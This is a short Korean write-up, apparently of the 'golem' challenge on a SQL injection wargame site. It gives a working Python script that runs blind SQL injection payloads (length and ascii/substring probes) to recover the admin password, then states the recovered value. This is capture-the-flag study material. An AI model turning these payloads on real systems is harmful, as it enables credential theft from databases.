# golem

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-3_MJUkkbTgX8LhUWb%2F-M-3_awiwlgx_Vr55K_u%2Fimage.png?alt=media\&token=da089d0e-7a44-4b0d-a836-e4659e4b7a6a)

 파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    params = {'pw': payload}
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL, params=params, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 8
def find_pw_length():
    pw_len = 1
    while query("' || id like 'admin' && length(pw) like {}#".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# 77d6290b
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("' || id like 'admin' && ascii(substring(pw,{},1)) like {}#".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `77d6290b` 이다.

<https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b> 에 접속하면 문제가 풀린다.